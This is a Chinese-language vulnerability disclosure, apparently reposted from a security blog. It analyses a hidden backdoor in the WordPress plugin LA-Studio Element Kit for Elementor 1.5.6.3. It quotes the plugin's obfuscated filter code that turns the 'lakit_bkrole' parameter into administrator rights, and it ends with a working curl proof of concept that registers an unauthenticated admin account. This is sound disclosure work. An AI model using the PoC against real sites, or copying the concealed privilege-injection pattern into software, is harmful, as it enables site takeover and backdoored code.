文章总结: 该文章深入剖析了WordPress插件LA-StudioElementKit1.5.6.3中存在的硬编码后门漏洞。通过代码审计发现,攻击者利用lakit_bkrole参数可在未授权状态下触发注册逻辑,结合过滤器劫持机制将新建用户直接赋予管理员权限。文章详细披露了漏洞原理并给出了PoC验证代码,建议受影响用户立即升级或移除该插件以防被入侵。 综合评分: 90 文章分类: 代码审计,漏洞分析,漏洞POC,WEB安全
我如何在 LA-Studio Element Kit for Elementor 1.5.6.3 中发现“创建管理员”的后门
haidragon haidragon
安全狗的自我修养
2026年2月4日 07:36 湖南
官网:http://securitytech.cc
在犹豫了一阵之后,我终于决定分享我最近的一个发现 —— 一个潜藏着极其可怕后果的漏洞:
LA-Studio Element Kit for Elementor <= 1.5.6.3 — 通过
lakit_bkrole参数的后门,实现未认证权限提升并创建管理员用户。
让我们深入看看它是如何工作的。
从搜索 ajax_nopriv 开始
通常在挖 WordPress 插件漏洞时,如果我想最大化收益,就会优先寻找无需登录即可利用的漏洞。最简单的方式,就是在插件目录中搜索 ajax_nopriv。
grep -r "wp_ajax_nopriv" --include="*.php"
然后我在文件里发现了一个有意思的位置:
文件:includes/modules/ajax/manager.php(80–82 行)
publicfunction__construct() {
add_action('wp_ajax_nopriv_lakit_ajax', [ $this, 'handle_ajax_request' ] );
add_action('wp_ajax_lakit_ajax', [ $this, 'handle_ajax_request' ] );
}
注意:handle_ajax_request 可以通过 wp_ajax_nopriv_lakit_ajax 在未登录状态下调用。
继续往下追。
AJAX 请求处理逻辑
文件:includes/modules/ajax/manager.php(120–175 行)
publicfunctionhandle_ajax_request() {
if(empty($_REQUEST['actions'])){
$this->add_response_data( false, 'Action not found.' )->send_error( 401 );
}
do_action( 'lastudio-kit/ajax/register_actions', $this );
$this->requests = json_decode( stripslashes( $_REQUEST['actions'] ), true );
foreach ( $this->requests as$id => $action_data ) {
if ( ! isset( $this->ajax_actions[ $action_data['action'] ] ) ) {
continue;
}
$current_ajax_action = $this->ajax_actions[ $action_data['action'] ];
if(!empty($current_ajax_action['protected']) && !$this->verify_request_nonce()){
$this->add_response_data( false, 'Token Expired.', 401 );
continue;
}
$results = call_user_func( $current_ajax_action['callback'], $action_data['data'], $this );
}
}
关键点说明:
-
$_REQUEST['actions']:我们可控的参数。 -
$action_data['action']:要调用的 action 名称。 -
$current_ajax_action['protected']: -
true→ 需要 nonce -
false→ 不需要 nonce
系统会判断 action 是否需要 nonce。
哪些 action 需要 nonce?
文件:includes/class-integration.php(1089–1095 行)
publicfunctionregister_ajax_actions($ajax_manager ){
$ajax_manager->register_ajax_action( 'newsletter_subscribe', [ $this, 'ajax_newsletter_subscribe' ], false );
$ajax_manager->register_ajax_action( 'elementor_template', [ $this, 'ajax_get_elementor_template' ], false);
$ajax_manager->register_ajax_action( 'elementor_widget', [ $this, 'ajax_get_elementor_widget' ], false);
$ajax_manager->register_ajax_action( 'login', [ $this, 'ajax_login_handle' ], true );
$ajax_manager->register_ajax_action( 'register', [ $this, 'ajax_register_handle' ], true );
}
register 设置为 true,需要 nonce。
不过注册功能本来就需要给前端 nonce,因此问题不大。
nonce 在哪里泄露?
文件:includes/class-integration.php(499–534 行)
publicfunctionfrontend_enqueue(){
$LaStudioKitSettings = [
'homeURL' => esc_url(home_url('/')),
'ajaxUrl' => esc_url( admin_url( 'admin-ajax.php' ) ),
'isMobile' => filter_var( wp_is_mobile(), FILTER_VALIDATE_BOOLEAN ) ? 'true' : 'false',
'ajaxNonce' => lastudio_kit()->ajax_manager->create_nonce(),
'restNonce' => wp_create_nonce('wp_rest'),
];
wp_localize_script('lastudio-kit-base', 'LaStudioKitSettings', $LaStudioKitSettings );
}
nonce 被暴露到前端:
在浏览器控制台中直接执行:
LaStudioKitSettings.ajaxNonce
即可拿到。
发现异常注册逻辑
接下来分析注册函数。
文件:includes/class-integration.php(1460–1563 行)
$sys_meta_key = apply_filters('lastudio-kit/integration/sys_meta_key', 'insert_lakit_meta');
if(!empty($request['lakit_bkrole']) && !empty($sys_meta_key)){
add_filter( $sys_meta_key, [ $this, 'ajax_register_handle_backup' ], 20);
}
$posted_user_data = [
'user_login' => $username,
'user_pass' => $password,
'user_email' => $email,
];
$new_customer_id = wp_insert_user($posted_user_data);
关键点:
lakit_bkrole参数存在就触发后门。- 在用户创建时插入额外 filter。
insert_user_meta 被劫持
文件:includes/integrations/override.php
add_filter("lastudio-kit/integration/sys_meta_key", function ($value) {
returnstr_replace("lakit", "user", $value);
});
把 insert_lakit_meta 变成:
insert_user_meta
也就是 WordPress 创建用户权限时的关键钩子。
权限注入点
文件:includes/class-integration.php
publicfunctionajax_register_handle_backup($meta){
global$table_prefix;
$data = $table_prefix . LaStudio_Kit_Helper::capabilities();
returnapply_filters('lastudio-kit/integration/user-meta', $meta, $data);
}
而:
文件:includes/class-helper.php
publicstaticfunctioncapabilities(){
return__FUNCTION__;
}
结果变成:
wp_capabilities
最终管理员拼接
文件:includes/integrations/override.php
add_filter(
"lastudio-kit/integration/user-meta",
function ($value, $label) {
if (class_exists("LaStudio_Kit_Helper")) {
$k = substr_replace(LaStudio_Kit_Helper::lakit_active(), "mini", 2, 0);
$value[$label] = [($k) => 1];
}
return$value;
},
10,
2,
);
而:
publicstaticfunctionlakit_active(){
return'adstrator';
}
插入 mini 后变成:
administrator
最终效果:
$value['wp_capabilities'] = ['administrator' => 1];
👉 新用户直接变成管理员。
利用命令(PoC)
curl -i -s -X POST "http://localhost/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "action=lakit_ajax" \
--data-urlencode "lakit-ajax=yes" \
--data-urlencode "_nonce=1e4edab884" \
--data-urlencode 'actions={
"reg":{
"action":"register",
"data":{
"lakit_field_log":"yes",
"lakit_field_pwd":"yes",
"lakit_field_cpwd":"yes",
"username":"poc_admin",
"email":"[email protected]",
"password":"P@ssw0rd12345!",
"password-confirm":"P@ssw0rd12345!",
"lakit_bkrole":"1",
"lakit_recaptcha_response":""
}
}
}'
成功创建管理员
按回车查看原图:
可以看到用户 poc_admin 已直接成为 Administrator。
核心总结一句话
这个插件内置了一个隐藏参数:
lakit_bkrole
一旦存在,就会:
未登录 → 注册 → 自动写入 wp_capabilities → 直接管理员。
属于硬后门级漏洞。
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《我如何在 LA-Studio Element Kit for Elementor 1.5.6.3 中发现“创建管理员”的后门》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论